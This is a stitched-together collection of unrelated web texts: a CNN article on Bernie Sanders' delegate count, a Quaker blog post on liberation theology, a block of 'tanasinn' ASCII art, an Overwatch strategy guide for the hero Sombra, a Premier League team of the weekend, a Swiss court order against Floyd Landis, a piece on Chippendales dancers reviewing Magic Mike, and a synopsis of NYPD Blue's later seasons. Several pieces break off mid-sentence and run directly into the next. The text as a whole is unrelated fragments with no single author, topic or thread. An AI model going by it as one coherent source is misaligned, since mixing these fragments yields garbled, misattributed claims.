Sanders claims his campaign could end up with more pledged delegates by the end of the primaries
Washington (CNN) The delegate math isn't on Sen. Bernie Sanders' side. Even after garnering 51.4% of West Virginia's Democratic primary vote, Sanders collected only seven more pledged delegates than Hillary Clinton. Clinton still leads Sanders in pledged delegates by 294.
But when it comes to momentum, the Sanders camp says it's on a roll and they won't stop until the Democratic National Convention in July.
On Wednesday, the Vermont senator urged his supporters the primaries were far from over. "If we do really well in the next eight contests, we can end up with more pledged delegates than Secretary Clinton," he said at a Billings, Montana, rally.
But is that statement actually true? It depends how you define "really well." CNN's Chief National Correspondent John King crunched the numbers and Sanders would need 67% of the remaining pledged delegates -- not counting superdelegates -- to beat Clinton by one pledged delegate. But that number doesn't get him to the 2,383 delegates needed to clinch the Democratic nomination. Counting superdelegates, Sanders is mathematically blocked from capturing the Democratic nomination on the first ballot in July unless some of the superdelegates switch allegiance from Clinton to Sanders.
So it's possible for Sanders to win, but if the past primaries of this cycle tell us anything, it's not probable.
Read MoreAs with many, I have been wrestling to understand where the various new groups forming within Quakerism fit – as with the New Association of Friends in Indiana and the new groups discerning their way forward in North Carolina and the Pacific Northwest. Will they just be replicas of the institutions that kicked them out, or is there space for something truly new to emerge?
In the very broad base of Quaker categories what we have today in the United States are two main theological trends: secular liberalism and conservative Evangelicalism. On the one side, there is a group that now seems to be largely influenced by the secular left. These yearly meetings and meetings may be “spiritual but not religious,” think of themselves as secular or even anti-religious, while still being interested in the “values” of Quakerism or some of its specific practices, like communal silence and consensus building. Not everyone within these groups identifies this way but the larger trend seems to suggest that there is far more emphasis on this “secular liberalism” than the socially aware Christianity that one can find within these groups as well.
On the other side of the Quaker isle, again thinking in very large swaths, you have a group largely influenced by the Religious Right. Socially, politically and theologically conservative, many (but not all!) of our Programmed Friends are influenced by and find comfort in right-leaning politics and issues that have come through Evangelicalism. These churches/meetings may not even be directly linked to the Religous Right but I see a cultural and theological influence there that is undeniable. These Quaker institutions are primarily focused on a decontextualized Christianity, a literal and/or authoritative reading of the Bible, emphasis on conversion in Jesus. There is often also a mirroring of social issues often related to conservative Evangelicalism, as in anti-LGBTQ teachings and stances, a lack of engagement around racial, political and other class issues, etc. There are individuals within these institutions who are far more socially aware, attracted to the teachings of the social Gospel, see Christianity as a religion of social as well as personal liberation, but I believe that these Quakers are in the minority.
When I survey the landscape it seems that the middle way has been all but cut out of Quakerism. There are very few places one could go if they were progressively-minded, social Gospel Christian Quaker. I am looking for something like what Dorothee Soëlle calls a “radical, liberation Christianity,” as opposed to a “liberal” or “conservative” one (See The Three Theologies- Soelle).
“Besides these two theologies, there has been, for about twenty years now, a theology that is not done by white, relatively well-to-do males: the theology of liberation. In this theology, faith is not experienced first of all as a consolation for an ordinary and wretched life, but as a way of living, hoping and acting. It means a revolution in human hearts corresponding to the words of Jesus…Christ doesn’t just console, he changes our lives. Just as for Jesus’ first disciples – poor and ignorant people, the majority of whom were women–in the communities of faith springing up at the base, we see emerging a way of living and sharing with one another, of organizing, celebrating, and struggling together” (The Window of Vulnerability, 1991:113).
I would argue that this framing is actually the very heart of early Quakerism, and reflects more closely what I believe early Friends were up to (and why they had so much trouble with the rest of Christendom). As Soëlle writes, “Tell me how you think and act politically, and I will tell you who your God is” (2009:106). A clash of politics is ultimately a clash of theology. In keeping with the teachings of Jesus, early Friends believed God to be the great liberator, and thus they were radical, liberation Christians of their day. Here are a few examples:
They provided a space where people could come together and truly practice corporate listening and discernment as the core of who they were.
They challenged the status quote of the religious elite and therefore began to re-write theology and Christian practices in ways that challenged Christendom as other dominate mainstream theologies of their time – out of a commitment to recapture the liberatory teachings of Jesus and the early church.
They believed in and submitted to the presence of the resurrected Christ, who they understood to be present with them in their gatherings, leading them and guiding them in their work as a community.
They challenged politics that were underwritten by imperial powers and saw that as largely in contradiction to Jesus’ teachings.
They re-read the Bible in light of their times with new and creative interpretations.
They challenged social practices such as women’s roles, the enslavement, and dignity of people of African decent, class-based oppression, and were influenced by and contained individuals who had been a part of the dissenter groups like Diggers, Levellers, and more.
They challenged church practices that were exclusionary, hypocritical and biased, redrawing the lines around who was welcome and who could lead their faith communities.
This kind of radical |
∵∵.|＼＼＼
.| /.| |.∵∵∵| |ノ |ノ ＜ Don't think. Feel and you'll be tanasinn.
| |.| |.∵∴∵|
| | |.| |.∵∴∵ |
| ｜ |∵Ｕ∵∴∵ |
| ｜ |∵∴∵∴∵|
/ / / ∵∴∵∴∵|
/ / / ∵∴∵∴∵|
しし’∵∵∵∴∵∴∵|
|∵∵∵∴∵∴∵ |
|∵∵∵∴∵∴∵ |
|∵∵∵∴∵∴∵ |
∴∵∴:|||||||||||||||||||||||||||||||:
∴∵∴∵:|||||||||||||||||||||||||||||||
∴∵∴∵∴::||||||||||||||||||||||||||||||||
∵∴∵∴∵|||||||||||||||||||||||||||||||
∴∵∴∵∴∵∴|||||||||||||||||||||||||||||||
∴∵(･)∴∴.(･)∴∴|||||||||||||||||||||||||||||||
∴∵∴／ ○＼∴∵∴||||||||||||||||||||||||||||||||
..∴∵/三 | 三ヽ∵∴∵∴∵||||||||||||||||||||||||||||||||
∴∵∴∵| ＿_|＿_ │∵∴∵∴∵∴∵∴∵∴|||||||||||||||||||||||||||||||
∴.:∵∴∵| === │∵∴∵∴∵∴∵∵∴∵∴||||||||tanasinn|||||||||||||||||||||||
∴∵:∴::∵∴:∴＼＿＿＿／∵∴∵∴∵∴∵∴∵∴∵∴∵|||||||||||||||||||||||||||||||
∵∴∵∴∵∴∵∴∵∴∴∵∴∵|||||||||||||||||||||||||||||||||
∵∴∵∴∴∵∴∵|||||||||||||||||||||||||||||||||
∴∵∴∴∵∵∴|||||||||||||||||||||||||||||||||
∵∴∵∴|||||||||||||||||||||||||||||||||
∵∴∵|||||||||||||||||||||||||||||||||
∴∵∴∵||||||||||||||||||||||||||||||||
∴∵∴∵∴|||||||||||||||||||||||||||||||
∴∵∴∵∴∵|||||||||||||||||||||||||||||||||
∵∴∵∴∵∴∵::|||||||||||||||||||||||||||||||||
∴∵∴∵∴∵∴∵∴||||||||||||||||||||||||||||||||||
∴∵(･)∴∴.(･)∴∴∵∴:::||||||||||||||||||||||||||||||||||||||||
∴∵∴／ ○＼∴∵∴∵∵∴∵||||||||||||||||||||||||||||||||||||||||||||||
:∴∵/三 | 三ヽ∵∴∵∴∵∴∵∴|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
∴∵| ＿_|＿_ │∵∴∵∴∵∴∵∴∵∴∵||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
∴∵| === │∵∴∵∴∵∴∴∵∴∴∵∴∵∴∵||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
∴:∴＼＿＿＿／∵∴∵∴∵∴∵∴∵∴∵|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
∵∴∵∴∵∴∵∴∵∴∴∵∴∵|||||||||||||||||||||tanasinn||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
∵∴∵∴∴∵∴∵||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
∴∵∴∴∵∵|||||||||||||||||||||||||||||||||||||||||||||||||||||
∵∴∵∴||||||||||||||||||||||||||||||||||||||
∵∴∵||||||||||||||||||||||||||||
∵∴|||||||||||||||||||||
∵|||||||||||||||||||||
:.:||||||||||||||||
:||||||||||||
||||||||
|||||
|||
||
|
tanasinnEverything a Hacker Needs –
Want to know how to win as Sombra? We got you covered.
Editor’s Note: Since this guide was written during Sombra’s PTR, her actual abilities might be subjected to nerfs or buffs in the future.
Ascendancy21 from DVS Gaming here, and welcome to my guide on Sombra! Here are many details about meta with some numbers I ran during my tests. I love going for the fun wacky stuff, but I do demand consistency. Sombra is the type of character that benefits more off of a player’s knowledge of the game over raw aim itself. Her role is a much needed addition to the game.
Role
Sombra is not a solo ganker. She can be, but her true strength lies in communicating with a teammate to tag team a target, then easily escape. People will be running away from your team directly to you. Another one of her main attributes is resource control. Hacking and hoarding HP packs, along with denying players use of their own abilities, makes Sombra’s unique utility a very powerful problem to deal with in the right hands. She is easily on her own tier of mobility. The consistency of Sombra’s CD’s with the mechanics of the abilities creates a very high roof for her skillcap. Her survivability is unmatchable. With both of her moves involving mobility and the ability to hack, players should not be dying much with Sombra.
Abilities Overview
Weapon: Machine Pistol
Try to keep your targets between 5-10m. It’s a submachine gun, so treat it as such. Keep them between close and medium range. Stay out of melee range (5m) while in your hack’s main range (15m). This keeps the spray of your bullets hitting your target. Each bullet does 7.5 dmg with a total clip of 60. It’s possible to take down 1-2 targets with a full clip. This gun is okay for 1v1’s, but it shines best at clearing out multiple low hp targets. You are efficient at damaging tanks thanks to your total clip of 450 non-headshot damage in your clip. Don’t let that distract you from getting a easy triple kill on some low HP targets running away nearby. When an enemy is very low on HP, wiggle your mouse left to right in a small area near them. Sombra is the only hero who can get away with a little spray and pray, but only a little bit though.
Talent: Hack
Her hack has a 15M range and a 1 second cast time with a 10 second cooldown. A hacks lasts 60 seconds on health packs and 5 seconds on players. A large health pack respawns every 4 seconds and a small pack every 2 seconds. Hacks on health packs persist through death. Getting healed from hacked health packs boosts your ultimate charge and adds to your healing done stat. For Sombra, it is mandatory to take advantage of this thanks to her lack of damage-dealing abilities. It encourages people to go out, help a teammate get a kill on an enemy, then go around hoarding health packs. Never stop the hit and run.
Keep in mind that you can hacks five times a minute. You can hack 3 health packs and use 2 for kills. During a 10 minute game, you can hack about 20 players, making for 100 seconds of unused abilities. On top of that, you can put out 3 hacks on health packs a minute, totaling in 30 hp packs hacked over a 10 min game. Games will cause you to play with whatever is at hand, but know that this is a solid rotation to follow if you want to maximize some nasty numbers.
People underestimate the power of health pack control. Once hacked, it doesnt even have to be Sombra holding down the area. Planting most heroes in the game next to an health pack, which spawns at a faster rate that only allies can take, is a powerful way to apply pressure. It’s very possible for Sombra to take hold of three health packs surrounding an objective and station people at them. Then, while a team of three teammates moves into the middle, everyone else moves in from all angles. Sombra can end up putting out as much healing as a Mercy or Lucio, especially if your team take turns running out, taking damage, and coming back.
This is how Sombra provides a unique style of flanking that isn’t just killing you from behind. Sombra goes about making what was once safe against you. Be sure not to just hack packs your enemies want. Hack one on your own side as well. Hack two on your half of the map under circumstances with a bad healer, especially ones nearby where snipers and other long range heroes frequent. Sombra’s hack is the answer needed to getting rid of Tracers, Roadhogs, and other huge annoyances.
Skill 1: Thermoptic Camo
This invisibility has a 6 second cooldown that lasts for 5 seconds and lets players reload while stealthed. This ability significantly increases movement speed equivalent to Amp’ed up speed boost from Lucio. Always cut line of sight via a corner or crouching behind an object before using the ability. It really helps the stealth not get instantly removed. While stealthed, the speed boost makes it very possible to grab more than one pack. Be sure to take from the packs you haven’t hacked as well, furthering the denial of resources.
Skill 2: Translocator
The translocator has a 6 second cooldown and lasts for 15 seconds when placed. Sombra throws the orb at the same speed and drop of a Winston jump. This skill has an extremely short cooldown, so throw it every chance you get. Even situations like crossing a doorway at low HP without taking damage is a perfect example of “I have it and I should use it”.
Be sure to take high ground as often as possible. It’s easier to spot your next target, and it forces them to change where they aim to deal with you. Remember, just keep moving to the next area with its short cooldown and long range. When this ability is used, your screen will be facing whatever direction it was facing on use. Try to pre-aim your vision for where you will be going. Throwing it directly forward gets 12M out of the distance (Tracer’s zoom is 10m for reference). Looking upward a bit, jumping, and throwing at the apex of your jump can extend it to 32m. Be careful not to hit any roofing, decorations, or street signs during your throws or you’ll be a sad panda.
The Translocator should be used as a form of mobility and a beacon of safety, but I personally save it for on the spot trickery. This can be sneaking up with stealth to someone on high ground, getting 1-2 of their teammates to chase me off the ledge, then just teleport back up. I even found throwing it directly upward, teleporting, and falling while I wait for an health pack to respawn to work too.
Here’s a scenario that played out quite often after I hacked HP packs and wanted some action. First, throw the Translocator over a wall or through a window behind enemy line of sight. Then, empty a whole clip from a range. While shooting, take note of their formation as you distract them with your gunshots. Try not to take much damage during this phase, just make sure that they are taking an interest in you. Cut out of the line of sight, then reload and use the Translocator. Now you know which way they are looking. The goal of this is to appear behind them within 2 seconds of going out of vision while they are dealing with your allies.
You are immune to damage while teleporting. This allows for the age old trick of I-Frame Abuse to finally make its way into Overwatch. For people unfamiliar with the idea, imagine a Mccree ulting. If you throw your orb and activate it right away at just the right predicted moment, you will be immune as Deadeye’s bullet would have hit you. It’s very satisfying when it happens, but don’t try to instigate situations that require it. Just remember that it’s an option when you are running out of them.
Ultimate: EMP
Emits an EMP in a 360 radius which extends 18m in each direction, including above and below you. This ability gets blocked easily by terrain, but that can be countered when combined with the Translocator. Throw your Translocator orb above the fight, teleport into the air, and take full advantage of the orb shape. You don’t need to hit the entire team, but you shouldn’t hit just one of them. Hitting 2-3 is perfectly strong as long as it’s the right targets. Only during proper circumstances, such as Mercy’s Resurrect or Reaper’s Death Blossom, are times where ulting one person is a good idea.
Passive: Opportunist
Sombra’s passive is a flanker’s dream. When people are below half HP, you can see their outline through walls. Not much to say about this ability just know around half of your eliminations should be planned through people you spot using this ability. You are a hungry vulture with a bottomless stomach, embrace it with love.
My biggest tip with this ability would be to keep an eye where people are disapearing from your sight. Meaning their source of HP is in that area, and if you notice them using it frequently, why not go pay them a visit. You can easily see what wall they like to hide behind for cover while they get healed, easy time to catch both the person and their healer off guard.
Basic Skill Rotation
There is no set in stone rotation, but this following protocol does increase success: Drop a Translocator, use your stealth, hack a HP pack, then unload a full clip of ammo. You should be at about 11-14 seconds, so use your teleport before the time runs up. During its 6 second cooldown, use the stealth ability you have to relocate yourself to a new area. Here, you can place the Translocator again and repeat the process. Don’t make a habit of just dropping it at your feet. Throw it over something then run the opposite way. Take advantage of the fact it has no range cap, it’s only time specific.
If you want to help teammates get kills, keep enemies chasing to find you and use your hack every time it’s off cooldown. Make sure to have an escape the entire time, and remember the five hacks discussed earlier.
Tips
Stealing Objectives and Breaking Choke Points
After you sneak by an enemy choke point and hack some health packs, it’s time for some sneaky fun. Leave your Translocator next to an health pack then go onto the objective, crouching behind an object. Once someone person comes for you, fight back bit then teleport away before the timer runs out. This time sneak closely behind the enemies holding your team back. Place a Translocator nearby there, and make your way to the objective once more. This time, the same guy will probably come (hopefully with an extra friend). When you teleport back, try to immediately pop out and move in for a kill on one enemy holding your teammates back. This will either let you kill a support who has no idea you are behind them, or force heroes such as Reinhardt to turn around and deal with you. Both situations open a valuable window of time for your allies can make it through safely. During the mayhem, your Translocator will have come off cooldown. Spin around, look up, and toss it somewhere before things get too messy. Translocators does not always have to be down before you move into the fight, but it needs to be down before you have to get away from the fight.
Stationing Teammates
There are a few formations I figured out that are fun and effective. I call the formations by their number patterns: 1-1-1-3, 2-2-2, and 3-3. As the Sombra, you must find the time to split away and make sure health packs remain hacked. If you let the station slow down, it can make a potential push crumble.
With a 1-1-1-3, I would have an Ana, a 2nd tank, and Sombra herself as the singles with Reinhardt, Lucio, and Pharah coming down mid. This style is designed for ambushing right when they begin to attack your Reinhardt.
Running 2-2-2 would have Lucio+Reaper, Symmetra+Zarya, and Sombra+Mei. Everyone would run around with their buddy no more then 2 corners away from their HP pack. This allows one to provide cover-fire when the other takes serious damage. This style focuses on getting kills primarily through bait and switch tactics.
For 3-3, your main focus is camping a room with one squad and surrounding the enemy with the other 3. This would run heroes like Mercy, Pharah, and D.va to take control of the rooftops as the mobile squad. Zenyatta, Sombra, and Reinhardt would stay on the ground against anyone who’d dare to challenge them in a hallway.
Sombra Counters
This is a list of people. Sombra helps open up a needed window of opportunity against. She technically hurts everyone, but some are left crying in a corner.
Bastion: Sombra don’t take any lip from Bastion. She can boot him right out of turret mode with hacks and keep him from healing. She cannot stop his ultimate, but she can quickly get away from it.
D. Va: Hacks make it so she cannot fly away to escape. D. Va also can’t hold up her annoyingly huge radius shield.
McCree: McCree is hurt really bad by hacks. On top of him being a cooldown dependent hero, his ultimate can he stopped before it goes off with hacks.
Mei: With Mei no longer able to Ice Block or Wall, she becomes a very easy target to take down.
Mercy: Aside from killing Mercy because she is a healer, Sombra cuts her wings off entirely. This makes her unable to fly to safety and, even worse, Resurrect.
Pharah: It’s pretty funny to hack a Pharah that is slowly falling to the ground. You can tell someone expects their jump to go off when they just look downward. Savor the moment when it happens, it’s a glorious one. Hacks cancel her ult.
Reaper: Sombra puts a solid dent in a Reaper’s plans, having the ability to keep him from using wraith form to escape. Even if he did use wraith form, you outrun him. Since he cannot shoot you, take the HP pack he was going after and catch him right as he comes out of the form. If you see him on the way to Ult teammates, you can use EMP to prevent him.
Roadhog: An amazing answer to slaying the pig. Losing his hook and heal leaves him ready to be roasted.
Sombra: Sombra messes herself up pretty well, with teleport denial being the main factor.
Symmetra: She’s literally the absolute worst to hack. She has already done everything she wants to do and is using her gun from there on out. Using Hack on her is an absolute waste of time.
Torbjorn: Yes, you can hack his turret. I was so excited to found out it worked. The only downside is that you must hack it while it’s distracted, so you can’t take it alone. Either have a teammate help you by taking a few bullets, or just wait to jump in at the right time.
Tracer: You put Tracer on a leash. Not only can you keep her from escaping, but you can also chase her down. You technically can cover more distance than Tracer when she loses her blink.
Widowmaker: You can easily sneak and hack her while she is looking down her scope. When she turns to retaliate, she has nothing.
Winston: Sombra tears him apart with the addition of the EMP removing Winston’s shield if it is up. Salting the wound on this counter. To add more insult to injury, Sombra’s gun works wonders for taking Winston down.
Zarya: You mess up Zarya’s plans pretty hard. Besides her unable to shield people, your ult removes her shields as well (both her 200 HP shield and ability barrier). Sombra ult works wonders for shutting down harmful incoming abilities during Zarya’s ult as well.
Zenyatta: Nothing really special about hacking Zenyatta. It’s effective, just not super amazing. If a Zenyatta has proven quick to ult and save his team, Sombra can help with that.
Sombra Combos
Ana: You can stealth in her line of sight and get healed from long distances. It’s easy to hack players that have been slept by Ana. Sombra can ult right when Ana ults to allow a nano boosted person to enter safely. Ana can be near hacked health packs so she does not have to use her cooldown for self-heal.
Hanzo/Widowmaker/Junkrat/Torbjorn: These heroes can do a lot of damage from odd angles. However, the timing of when to help is odd to predict. Leaving a hacked health pack near these guys allows them to keep their pressure up without dying. It also buys the healer time, not having to go back as well.
Mei: Hack plus Mei’s freeze is the ultimate easy kill. They cannot use any abilities to escape Mei’s stun. If they try to run away, Mei can wall the exit. If enemies attempt to gang up on Mei coming out of an iceblock, you can hack or EMP them to turn the tides. Their synergy is absolutely amazing. Mei can even lift Sombra higher up to help throw her Translocator farther. Expect to see this combo in the future.
Lucio: Lucio can help heal people more by not healing at all. He can help speed boost people to and from health packs. When you add the HP pack buff with the time to get to the HP pack, you drastically increase the amount of actions that happen per minute for your team. Sombra and Lucio Ults combo rather well together, forcing enemies to rely on only shots to get their kills.
Symmetra: These two have the potential to make some of the craziest fun this game can offer. Sombra is the best friend Symmetra has been waiting for to be a viable pick in tournament play. With the healing from the HP packs and the help of Sombra, Sym can hold up teleporters in incredibly bold areas. Sombra also offers Sym a set of eyes up ahead, telling her when it’s ok to move up or if she should charge her gun for an ambush. These two have a lot of potential together, and I cant wait to see what people come up with.
Zarya: This is another timeless classic which we’ll see in every tournament. Zarya shields block damage long enough for Sombra to hack. This means you can easily run up to Bastions and Torbjorn’s turret and just end them. This combo is full of combos, and that’s just the tip of the iceberg. EMP combos extremely well with Zarya’s ult, dropping every line of defense they have. The consistency between these two is a little sickening. Sombra helps Zarya charge her shield by getting into trouble, getting shielded, then just teleporting after the shield drops. Rinse and repeat to keep Zarya at 100 energy forever.
Final Thoughts
I’m highly impressed with the design of Sombra’s mechanics. She earns a special place in my heart for allowing me to greatly control the flow of Overwatch games with attention and resource control. A character like Sombra helps deal with an enemy overly skilled at shooting. Another big help she provides is handling heroes players feel that might have balance issues. It’s hard to be broken when a hero cannot use anything but their gun (unless that is what’s broken). Welcome to the game Sombra, we love you!
Share Buttons
Check DVS for More Guides!Premier League team of the weekend: Leicester City, Tottenham and Manchester United stars make the best XI of the action
It was yet another exciting weekend of action in the Premier League.
Leicester City eased to victory over Manchester City, leaving many scratching their heads as to the unpredictable nature of the 2015-16 campaign, while Sunderland stunned Liverpool by coming back from two goals down to steal a point at Anfield.
But which players got us talking over their impressive performances?
Take a look at talkSPORT’s team of the weekend by clicking the yellow arrow above, right.
11 1. Goalkeeper: Petr Cech – find out the remaining 10 players to make our team of the weekend by clicking the arrow above – David De Gea has grabbed the headlines this weekend after a number of superb saves against Chelsea, but Cech is more than worthy of a mention. The 33-year-old kept Bournemouth at bay and tops the clean sheets tally, with 12. He also has the best save percentage in the Premier League with 79.05% if he can maintain his performances, Arsenal cannot be ruled out for the title.
11 2. Right back: Kieran Trippier (Tottenham Hotspur) – Spurs summer signing has finally been handed a regular run of games by manager Mauricio Pochettino, and he looks to have moved ahead of Kyle Walker in the pecking order. The Englishman was the unexpected match-winner at White Hart Lane, latching on to a ball played across goal by Dele Alli at the far post. He was a danger all game, and his strike sent Tottenham to second in the league only five points behind leaders Leicester City.
11 3. Centre back: Jores Okore (Aston Villa) – Okore, alongside goalscorer Joelon Lescott, enjoyed the victory over Norwich City. The signs are promising that the pair are beginning to form a solid partnership, which has lifted the mood of the Villa Park faithful. Okore made 14 clearances on Saturday, in what was a crucial three points for the home side.
11 4. Centre back: Robert Huth (Leicester City) – Many might not have expected a Huth brace against Premier League heavyweights Manchester City but thats exactly what was delivered at the Etihad. Not only was his threat in the final third crucial, but his defensive display kept the world-class Sergio Aguero frustrated. A 3-1 victory sent the Foxes five points clear at the top of the table to further suggest that they can go all the way in the title race.
11 5. Left back: Cameron Borthwick-Jackson (Manchester United) – The emergence of Borthwick-Jackson could be the best thing to come out of Uniteds under-par season. The 19-year-old likely wouldnt have got his chance in the senior side had it not have been for injuries to Luke Shaw, Marcos Rojo and Daley Blind, but the youngster has proved that he can make the step up. With another assist, setting up Anders Lingard, this time against defending champions Chelsea, his reputation is certainly rising in Manchester.
11 6. Right midfield: Riyad Mahrez (Leicester City) – It is remarkable to remember that the majestic Mahrez cost the Foxes a mere £400,000 in January 2014. The Algerian has been crucial for Leicesters position at the top of the table. He provided the cross for Huths first goal against City and then eased round Martin Demichelis with a step over before firing the ball into the back of the net for their second. He could be the most in-demand player in the summer.
11 7. Centre midfield: Idrissa Gueye (Aston Villa) – Gueye put in an excellent shift in the Villans victory over Norwich City, with the 26-year-olds determination in the centre of the park finally suggesting that the club are not backing away from the fight as they look to avoid relegation. If they are to do so, though, Gueyes consistency could be imperative.
11 8. Left midfield: Jesse Lingard (Manchester United) – His exquisitely controlled finish, with his back to goal, against Chelsea looked to have won the game for the Red Devils. While his side conceded late to take only a point from the game, the winger again caught the eye and will certainly leave Roy Hodgson pondering whether he deserves in his England squad for the Euro 2016 finals.
11 9. Attacking midfield: Gylfi Sigurdsson (Swansea City) – The Swans have disappointed this season, spending much of their time flirting with the relegation zone. While they remain far too close to the bottom three, their form over the past month has been promising. One man who has been key to their improved form is Sigurdsson. The Iceland international opened the scoring with a free-kick at the weekend, taking his tally up to five goals in his last six league games.
11 10. Striker: Romelu Lukaku (Everton) – Lukaku scored from the penalty spot in the Toffees 3-0 victory over Stoke City to make it 16 goals for the season. The Belgian has written himself into his clubs history books equalling Tony Cottees 16-goal haul in the 1993-94 campaign, but many more are expected. Keeping hold of the former Chelsea man should be a priority for Roberto Martinez and co. in the summer.The Chair of the Court, ruling immediately in a closed hearing: I.
upholds
in large part the petition of 29 April 2011 lodged by the Union Cycliste Internationale, Patrick McQuaid and Henricus Verbruggen against Floyd Landis; II.
forbids
Floyd Landis to state that the Union Cycliste Internationale, Patrick (Pat) McQuaid and/or Henricus (Hein) Verbruggen have concealed cases of doping, received money for doing so, have accepted money from Lance Armstrong to conceal a doping case, have protected certain racing cyclists, concealed cases of doping, have engaged in manipulation, particularly of tests and races, have hesitated and delayed publishing the results of a positive test on Alberto Contador, have accepted bribes, are corrupt, are terrorists, have no regard for the rules, load the dice, are fools, do not have a genuine desire to restore discipline to cycling, are full of shit, are clowns, their words are worthless, are liars, are no different to Colonel Muammar Gaddafi, or to make any similar other allegations of that kind; III.
orders
Floyd Landis to publish at his own expense the present operative provisions in the following media:
-
Wall Street Journal (New York, USA);
-
L’Equipe (Paris, FR);
-
Le Temps (Geneva, CH);
-
NYVelocity.com (New York, USA);
-
Cyclingnews.com (UK);
-
Velonation.com (Chevy Chase, Maryland, USA);
-
Velonews.com (USA);
-
De Volksrant (Amsterdam, NL); IV.
notes
that the prohibition under II above and the order under III above shall be subject to a fine in accordance with article 292 of the Swiss Criminal Code in the event of failure to comply with a decision by the competent authority; under the provision, anyone who fails to comply with a decision of which he/she has been notified, under threat of the penalty provided by the present article, by a competent authority or official, shall be punishable by a fine; V.
orders
Floyd Landis to pay Patrick (Pat) McQuaid and Henricus (Hein) Verbruggen the sum of CHF 10,000 (ten thousand Swiss francs) each, with i nterest of 5% per year from the time that the judgment becomes final and binding; VI.
sets
costs at CHF 2,100 (two thousand one hundred Swiss francs) payable by Floyd Landis,
offset
by the expenses advanced by the petitioners, and
notesWhile audiences clamored for the stars on the big screen, the experts in the male revue laid down their judgment on the hit film.
In producing and starring in Magic Mike, Channing Tatum is a bit of a trailblazer: the former stripper has brought his one-time industry to Hollywood, giving the male revue by far its greatest big screen exposure. But with great power comes great responsibility (or so says another blockbuster coming this week), and given that the marketing campaign for the picture focuses on the "true story" aspect of the film, Tatum was under some heavy pressure to honestly portray his former industry.
The dancers of Chippendales were watching.
The top name in male striptease, the 33-year-old theater helped popularize the male revue, and employs just 24 dancers around the world (all of whom must be six foot tall and have a six pack), with a flagship club based in Las Vegas's Rio Hotel and Casino. The Hollywood Reporter asked two dancers from the show to see the movie over the weekend, and as it turns out, they liked what they saw -- with a few notes, of course.
"I enjoyed the movie thoroughly. Because it’s fun," Jace Crispin, a former Olympic water polo player and seven-year veteran of Chippendales, told THR.
One major contrast Crispin made: Chippendales, he intimated, was way classier than Xquisite, the club in the film.
"It was different somewhat from what Chippendales is, because Chippendales is a male revue, performance-based, crowd interaction by us being on stage and incorporating girls into the numbers, instead of doing lap dances and whatnot and incorporating girls that way. It’s a little bit different; there is no tipping and there is no lap dances," Crispin said. Neither, he said, is there tipping dancers or the crumpled dollar bills ubiquitous in the film.
PHOTOS: Magic Mike and Nine Other Stripper Movies
It's a point he stressed often; there is a seedy element to the Tampa Bay club in Magic Mike, while there is a more upscale feel to Chippendales. Jon Howes, a college student who has been dancing there for a year, said that he doesn't see the same kind of drug use as in the film; they're "all about their fitness" at the real club.
Still, while Crispin thought some of the things in the film were "extreme," he was impressed with the way director Steven Soderbergh and the cast -- which included Tatum, Joe Manganiello, Alex Pettyfer, Matt Bomer and Matthew McConaughey -- interacted.
"Some of the banter I guess, between the guys, the camaraderie, the looks that you get that they gave from off stage from off stage to on stage, it’s the same kind of feel that the guys have, the way that we interact with each other," Crispin said. "They really picked up on the guys hanging out and doing something that they love to do, become friends and hanging out. It’s a lot like that."
Especially, he said, the way they treated Pettyfer, the new recruit that they call The Kid in the film.
"We do the same thing, we haze the guys, we play practical jokes on them, that is definitely true," he said. "You have a tight group of guys. Chippendale’s, we’ve got about 20 guys worldwide. It’s a family. Everybody knows everybody, everybody hangs out with everybody, so when you come into that, you’ve got to pay your dues."
They also pointed to differences in the dancing; while Tatum was no doubt strong, "With our show, we’re a full theater production, so they don’t just throw you out to the wolves like that," Howes said, remarking on the scene in which The Kid is thrown on stage on his first night in the club. "We went through a rigid casting process, then I had to go through dance training before they even put me on the show."
Howes was scouted working out, and invited to an open audition. He says he was unsure of joining -- until his mother insisted he go for it.
"It's a chance of a lifetime," she told him.
That points to another difference between the film and the real Chippendales; in Magic Mike, there is a built-in stigma to their careers, but both Crispin and Howes feel no such social glare.
"We do do the show and then we hang out in what we call the Flirt Lounge afterwards and meet people who saw the show. We do hear a lot, 'It’s so much more than what I expected, I was expecting tipping and lap dances and it’s not. The show went so fast, it was fun and entertaining and I didn’t expect that kind of show!’" he boasts. "So I always ask them, ‘Was it better than you expected?’ And they’re like, ‘Way better! Awesome.’"
As Magic Mike will attest, $40 million worth of moviegoers |
time as Simone for a high-profile case they both worked several years earlier; while Simone was promoted, the negative incidents in his past caused the department to disapprove Sipowicz's promotion.
The newly minted Det. Clark becomes Sipowicz's newest (and greenest) partner. As had occurred with Simone and Sorenson, initially tension exists between Clark and Sipowicz, largely due to an old feud from years earlier involving Sipowicz and Clark's father, John Clark, Sr. (Joe Spano), an average, by-the-book detective from a low crime precinct, who is enraged that his son chose to join the 15th Precinct to work with Andy. Season nine also has the introduction of Det. Rita Ortiz (played by Jacqueline Obradors). Two other actresses were first cast in roles as young, Latina detectives who were intended to be regular cast members; one was dropped in the pre-filming process over creative differences, and Vanessa Marcil's made an appearance as Det. Carmen Olivera in the Season 9 premiere, with the possibility of becoming a regular cast member. Producers were not convinced about Marcil, and made her character a one-time guest role, then continued casting until they hired Obradors. (Marcil did come back for another one-episode guest spot in Season 11).
The remaining four years had a continuing focus on Sipowicz as the main character, as had been the case since Simone's death. Another unlikely romance developed between Sipowicz and Connie McDowell. This came about due to her ability to stand up to Sipowicz's gruffness, and her tender relationship with Theo (played by Austin Majors). They eventually married, and after adopting McDowell's sister's baby daughter (following the sister's murder by her husband, Connie's brother-in-law), had a child of their own. The McDowell character eventually became an off-screen character in the second half of the 11th season and throughout the final season due to issues between Ross and show executives.
Other departures and arrivals that occurred during this time:
Rodriguez was written out halfway through the 11th season, after his IAB enemy Capt. Pat Fraker shot and nearly killed him in a drunken rage, then was acquitted; the acquittal, combined with Tony not making the Captain's promotion list, caused him to retire and take a lucrative job in private security.
Sgt. Eddie Gibson, played by former NYPD officer John F. O'Donohue, replaced Lt. Rodriguez as Squad Commander. Gibson had previously served in the squad both on night watch and briefly on the "day tour".
Haywood, after failing to convict Rodriguez's shooter, appeared in fewer episodes and then left at the end of the 11th season.
